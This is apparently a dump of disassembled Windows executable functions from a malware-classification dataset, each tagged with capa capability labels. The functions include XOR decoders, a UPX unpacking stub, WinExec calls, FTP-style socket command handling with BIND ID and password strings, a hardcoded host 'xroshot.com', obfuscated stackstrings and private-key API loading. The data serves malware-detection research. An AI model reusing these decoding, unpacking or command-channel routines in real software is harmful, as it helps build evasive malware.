joyce8/EMBER2024-capa huggingface dataset:
Function at 0x498480
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x23
xor eax, 0x3788d740
call 0xf988805f
pop edi
leave
call 0x12b943
fldenv [0x1592e798]
cwde
out 0x92, eax
invalid
and eax, 0x1592e798
cwde
out 0x92, eax
adc eax, 0x7449e8e5
loop 0x49847f
in eax, 0xe8
dec ecx
je 0x49846b
cmc
les ebp, [edx]
cmp byte [eax + ebx*8], ah
fisubr dword [eax]
mov byte [0xc849c4c8], al
cdq
and esp, 0x4c157235
scasb al, byte es:[edi]
or al, 8
in al, 0x84
dec eax
invalid

Function at 0x4bbde5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3398
cmp edx, dword [eax]
je 0x4bbe07
add eax, 8
inc ecx
cmp eax, 0x4c3428
jl 0x4bbdf8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3398]
jne 0x4bbf35
mov eax, dword [0x4c8d20]
cmp eax, 1
je 0x4bbf0f
test eax, eax
jne 0x4bbe38
cmp dword [0x4c32c4], 1
je 0x4bbf0f
cmp edx, 0xfc
je 0x4bbf35
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bbe6f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bc7d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bcc60
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bbeb2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bcc60
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c15b4
push edi
call fcn.004beb30
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bc7d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc7e0
lea eax, [ebp - 0xa0]
push 0x4c1594
push eax
call fcn.004bc7e0
push dword [esi + 0x4c339c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc7e0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004beaa4
add esp, 0x2c
pop edi
jmp 0x4bbf35
lea eax, [ebp + 8]
lea esi, [esi + 0x4c339c]
push 0
push eax
push dword [esi]
call fcn.004bcc60
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x438cab
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x438a14
mov esi, esi
add esi, esi
mov ecx, esi
call fcn.00438ce3
push ecx
pop esi
and ecx, esi
xor dword [eax], edi
dec esi
add esi, 0x12420a9a
inc eax
or esi, esi
inc ecx
mov ecx, ecx
cmp eax, ebx
jne fcn.00438cab
or ecx, esi
sub esi, esi
add ecx, 0xd1b76464
ret
Function at 0x12c68558
Capabilities:
Encode data using xor

Disassembly:
jmp 0x12c68562
pushal
call 0x12c68568
pop ebp
sub ebp, 0x10
sub ebp, 0x2c68558
mov al, byte [esp + 0x28]
cmp al, 1
je 0x12c6858c
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x12c68595
mov eax, 0x2c68558
add eax, ebp
add eax, 0x63
mov ecx, 0x5d5
mov edx, 0x9a35f516
xor byte [eax], dl
inc eax
dec ecx
jne 0x12c685ac
jmp 0x12c685bf
popfd
fistp dword [ebp + 0x16162a9f]
push ss
xchg edi, eax
xlatb
out dx, al
push ss
push ss
push ss
adc eax, 0x1610aedb
scasb al, byte es:[edi]
adc byte [esi], dl
push ss
push ss
lodsb al, byte [esi]
push ss
push ss
push ss
loope 0x12c685cf
adc eax, 0x1a979dde
push ss
push ss
push ss
adc eax, 0x32729bd3
ljmp 0x1a7e
Function at 0x41fe40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x13000]
push edi
jmp 0x41fe5a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41fe61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41fe50
mov eax, 1
add ebx, ebx
jne 0x41fe73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41fe68
jne 0x41fe84
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41fe68
xor ecx, ecx
sub eax, 3
jb 0x41fe98
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ff0a
mov ebp, eax
add ebx, ebx
jne 0x41fea3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41feb0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41fed4
inc ecx
add ebx, ebx
jne 0x41fec0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41feb5
jne 0x41fed1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41feb5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41fef4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41fee5
jmp 0x41fe56
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41fef4
add edi, ecx
jmp 0x41fe56
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ff12
cmp byte [edi], 9
jne 0x41ff12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41ff17
lea edi, [esi + 0x1d000]
mov eax, dword [edi]
or eax, eax
je 0x41ff8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x20a14]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x20af4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ff44
mov ecx, edi
jns 0x41ff73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x20afc]
or eax, eax
je 0x41ff89
mov dword [ebx], eax
add ebx, 4
jmp 0x41ff61
call dword [esi + 0x20af8]
mov ebp, dword [esi + 0x20b00]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41ffc3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6cba31be
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7a00542f
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x5b9e60
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 8
mov eax, dword [0x7c9028]
mov edx, dword [0x7c902c]
mov dword [esp + 4], 0
lea ecx, [eax + eax]
mov eax, dword [0xbc3068]
or ecx, edx
mov dword [esp], ecx
fild qword [esp]
test eax, eax
fadd qword [0x7c9040]
fstp qword [0x7c9040]
jne 0x5b9f14
push esi
push 0
call sub.comdlg32.dll_ChooseColorA
push str.Crypt32.dll
mov dword [0x7c9e2c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CertCloseStore
push eax
mov dword [0xbc3068], eax
call esi
mov edx, dword [0xbc3068]
push str.CertEnumCertificatesInStore
push edx
mov dword [0xbc3064], eax
call esi
mov dword [0xbc3054], eax
mov eax, dword [0xbc3068]
push str.CertFreeCertificateContext
push eax
call esi
mov ecx, dword [0xbc3068]
push str.PFXImportCertStore
push ecx
mov dword [0xbc304c], eax
call esi
mov edx, dword [0xbc3068]
push str.CryptAcquireCertificatePrivateKey
push edx
mov dword [0xbc3060], eax
call esi
mov dword [0xbc3050], eax
pop esi
add esp, 8
ret

Function at 0x6d9760
Capabilities:
Encode data using xor

Disassembly:
call 0xa62c413
push es
pop ebx
mov ch, 0x1d
movsd dword es:[edi], dword [esi]
insd dword es:[edi], dx
mov dl, 0xc3
lodsb al, byte [esi]
aad 0x56
in eax, dx
invalid
pop ebx
mov al, byte [0xa1fbc84d]
imul ecx, eax, 0xffffff9e
rol byte [eax], 0x64
jl 0x6d96be
jmp 0x6d9765
cwde
pushfd
imul esp, ecx, 0x79
xchg ecx, eax
sbb dword [0xc57dd551], esp
dec ebp
cwde
cwde
jns 0x6d977e
sub ecx, 0xa819dc3c
sub bl, ch
jl 0x6d9724
pop eax
pop ds
dec esi
int 0x57
ror dword [eax - 0x4cd4bdc6], 1
cwde
inc esp
jp 0x6d978d
js 0x6d9761
inc ebx
inc edi
out 8, eax
xchg dword [edi], edi
mov edx, 0xd752ea15
add eax, 0x7dd59797
in eax, 0xc5
salc
rcl dword [ecx + ecx*2 + 0x732587c0], 0xc8
xchg esp, eax
and al, 0x65
stosb byte es:[edi], al
xchg edi, eax
pop ebx
call 0xde4c9069
mov eax, 0xcce38ff5
ja 0x6d97c2
push ebx
jb 0x6d97c4
stc
inc esp
mov eax, 0x38b44d70
cmp eax, 0xb8864df0
cmp byte [esi], ah
cmp eax, 0xb8864df0
fsubr qword [ecx - 0x1c2be6f5]
lds edi, [edx + 0x107133fe]
adc al, 0x8d
jo 0x6d976e
mov byte [0x785a6417], al
dec dword [eax + 0x39]
mov ebp, 0xdadf8648
dec ecx
mov al, 0x69
xor dword [ecx + 0x19d75d40], esi
invalid

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x100021f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 2
push ecx
call fcn.10008825
push 0xa
push 0xd
mov esi, eax
push ebx
push str._s_c_c
push esi
call fcn.1000895f
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
push 0
not ecx
dec ecx
push ecx
push esi
push eax
call sub.WS2_32.dll_send
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push esi
cmp edx, ecx
je 0x1000227d
push str.FTP_CommandSend:send_error:Buf_s
push 0x10017a3c
call fcn.1000895f
push 0x10017a3c
push 0x100134d8
push 4
call fcn.100010f0
push esi
call fcn.1000873c
add esp, 0x1c
or eax, 0xffffffff
pop edi
pop esi
pop ebx
ret
call fcn.1000873c
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x10002290
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x404
lea eax, [esp + 0x408]
push ebx
push ebp
mov ebp, dword [esp + 0x414]
push esi
push edi
push 0x3c
push eax
mov edi, ebp
call fcn.10002d50
add esp, 8
test eax, eax
jle 0x10002309
mov edx, dword [esp + 0x418]
push 2
lea ecx, [esp + 0x18]
push 0x400
push ecx
push edx
call sub.WS2_32.dll_recv
mov ebx, eax
test ebx, ebx
jle 0x10002309
xor esi, esi
test ebx, ebx
jle 0x10002309
mov ecx, dword [esp + 0x418]
push 0
lea eax, [esp + 0x17]
push 1
push eax
push ecx
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x10002309
mov al, byte [esp + 0x13]
cmp al, 0xa
je 0x1000233b
mov byte [edi], al
inc edi
inc esi
cmp esi, ebx
jl 0x100022de
push ebp
push str.FTP_CommandReceive:Timeout_error:Command_s
push 0x10017a3c
call fcn.1000895f
push 0x10017a3c
push 0x100134d8
push 4
call fcn.100010f0
add esp, 0x18
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x404
ret
mov byte [edi], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x404
ret

Function at 0x100023b0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x14
mov edx, dword [esp + 0x18]
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push ecx
push edx
mov byte [0x10017ad4], 0
mov dword [esp + 0xc], 0x10
call sub.WS2_32.dll_getsockname
cmp eax, 0xffffffff
jne 0x100023e1
xor eax, eax
add esp, 0x14
ret
mov eax, dword [esp + 0xb]
mov ecx, dword [esp + 0xa]
mov edx, dword [esp + 9]
and eax, 0xff
push eax
mov eax, dword [esp + 0xc]
and ecx, 0xff
and edx, 0xff
push ecx
and eax, 0xff
push edx
push eax
push str._d._d._d._d
push 0x10017ad4
call fcn.1000895f
add esp, 0x18
mov eax, 0x10017ad4
add esp, 0x14
ret
Function at 0x10002af0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
int 0xc6
inc ebp
cmc
fcmovb st(0), st(6)
inc ebp
neg dl
mov byte [ebp - 9], 0xbf
call fcn.10002736
push eax
push esi
push dword [ebp + 8]
call fcn.100026eb
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
xchg edi, eax
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.10002736
push eax
push esi
push dword [ebp + 8]
call fcn.100026eb
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.10002736
push eax
push esi
push dword [ebp + 8]
call fcn.100026eb
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.10002726
shl byte [edx + 0x26], 0x1e
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
inc esi
inc ebp
adc byte [ecx - 0x3a], 0x45
xor dword [ebx - 0x3a], 0xc6628245
inc ebp
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
inc ebp
xchg dword [edx - 0x3a], edi
jp 0x10002ba8
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
jb 0x10002bbc
inc ebp
lea edi, [edx - 0x3a]
inc ebp
invalid
jae 0x10002bc4
inc ebp
invalid
push edi
mov byte [ebp - 0x70], 0x16
call fcn.10002726
jnp 0x10002bb7
invalid
invalid

Function at 0x10002be0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc esi
inc ebp
adc byte [ecx - 0x3a], 0x45
xor dword [ebx - 0x3a], 0xc6628245
inc ebp
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
inc ebp
xchg dword [edx - 0x3a], edi
jp 0x10002ba8
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
Function at 0x10003680
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.10002736
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100026eb
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.10002726
cli
xchg byte [ecx + 0x33], ah
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.10002726
mov ebp, 0x80e0a862
loopne 0x10003744
and byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
mov byte [ebp - 0x15], 0xb2
mov byte [ebp - 0x14], 0x83
mov byte [ebp - 0x13], 0x96
mov byte [ebp - 0x12], 0x8a
mov byte [ebp - 0x11], 0xa3
mov byte [ebp - 0x10], 0xe2
lea eax, [ebp - 0x20]
push eax
call fcn.10002736
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100026eb
add esp, 0xc
invalid
invalid
nop
Function at 0x10006070
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push str._n
push 1
call fcn.100010f0
mov ebp, dword [esp + 0x28]
mov edi, dword [esp + 0x24]
push ebp
push edi
push str._BIND__ID__s___PWD__s__n
push 1
call fcn.100010f0
mov eax, dword [esp + 0x48]
mov ebx, dword [esp + 0x40]
push eax
push ebx
push str.____FLAG_:_SUBMIT__d___REPORT__d__n
push 1
call fcn.100010f0
mov edx, dword [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
mov dword [0x10017b34], 1
mov dword [0x10017d40], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10017d44
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, 1
mov eax, ecx
mov esi, edi
mov edi, 0x10017d5c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.xroshot.com
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor edi, edi
cmp ebx, ebp
mov dword [0x10017d78], ebx
jne 0x10006150
mov eax, dword [esp + 0x2c]
mov dword [0x10018a10], eax
mov dword [0x10018a60], eax
mov dword [0x10018a0c], eax
jmp 0x10006162
mov dword [0x10018a10], edi
mov dword [0x10018a60], edi
mov dword [0x10018a0c], edi
cmp edx, ebp
jne 0x10006174
mov dword [0x10017d7c], edi
mov dword [0x10018a64], edi
jmp 0x1000618f
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
mov dword [0x10017d7c], eax
dec eax
neg eax
sbb eax, eax
not eax
and eax, ecx
mov dword [0x10018a64], eax
mov eax, dword [0x10017d80]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
mov dword [0x10017b38], edi
mov dword [0x10017b3c], edi
jne 0x100061bf
lea ecx, [esp + 0x10]
push ecx
push edi
push edi
push 0x10002df0
push edi
push edi
call esi
mov dword [0x10017d80], eax
cmp dword [0x10017d84], edi
jne 0x100061dc
lea edx, [esp + 0x10]
push edx
push edi
push edi
push 0x10002f70
push edi
push edi
call esi
mov dword [0x10017d84], eax
cmp dword [0x10017d40], edi
jne 0x1000621e
cmp dword [0x10017d88], edi
jne 0x10006201
lea eax, [esp + 0x10]
push eax
push edi
push edi
push 0x10007930
push edi
push edi
call esi
mov dword [0x10017d88], eax
cmp dword [0x10017d8c], edi
jne 0x1000621e
lea ecx, [esp + 0x10]
push ecx
push edi
push edi
push 0x10007ab0
push edi
push edi
call esi
mov dword [0x10017d8c], eax
xor esi, esi
cmp dword [0x10017b38], ebp
je 0x1000624c
push 0x3e8
call fcn.10001580
add esp, 4
inc esi
cmp esi, 5
jl 0x10006220
mov edx, dword [esp + 0x38]
mov eax, 2
mov dword [edx], edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x38]
mov eax, ebp
mov dword [ecx], edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000e6ab
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x100176f0
cmp edx, dword [eax]
je 0x1000e6cd
add eax, 8
inc ecx
cmp eax, 0x10017780
jl 0x1000e6be
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x100176f0]
jne 0x1000e7fb
mov eax, dword [0x100185e8]
cmp eax, 1
je 0x1000e7d5
test eax, eax
jne 0x1000e6fe
cmp dword [0x100185ec], 1
je 0x1000e7d5
cmp edx, 0xfc
je 0x1000e7fb
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000e735
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.1000efe0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.1000ddc0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x1000e778
lea eax, [ebp - 0x1a4]
push eax
call fcn.1000ddc0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x100147ac
push edi
call fcn.10009040
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.1000efe0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.1000eff0
lea eax, [ebp - 0xa0]
push 0x100115a8
push eax
call fcn.1000eff0
push dword [esi + 0x100176f4]
lea eax, [ebp - 0xa0]
push eax
call fcn.1000eff0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.1000ff43
add esp, 0x2c
pop edi
jmp 0x1000e7fb
lea eax, [ebp + 8]
lea esi, [esi + 0x100176f4]
push 0
push eax
push dword [esi]
call fcn.1000ddc0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x407522
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x603ba8
call fcn.005f870c
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 8]
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov byte [esi + 8], bl
mov dword [esi + 0xc], 0x6a6728
mov dword [ebp - 4], ebx
add ecx, eax
mov dword [esi + 0x14], ecx
push 0x63a708
lea ecx, [esi + 0x24]
mov dword [esi + 0x10], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
call fcn.004036c4
push 0x63a70c
lea ecx, [esi + 0x28]
mov byte [ebp - 4], 1
call fcn.004036c4
push 0x63a714
lea ecx, [esi + 0x2c]
mov byte [ebp - 4], 2
call fcn.004036c4
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x30], bl
mov byte [esi + 0x33], bl
mov byte [esi + 0x34], bl
mov eax, esi
pop esi
pop ebx
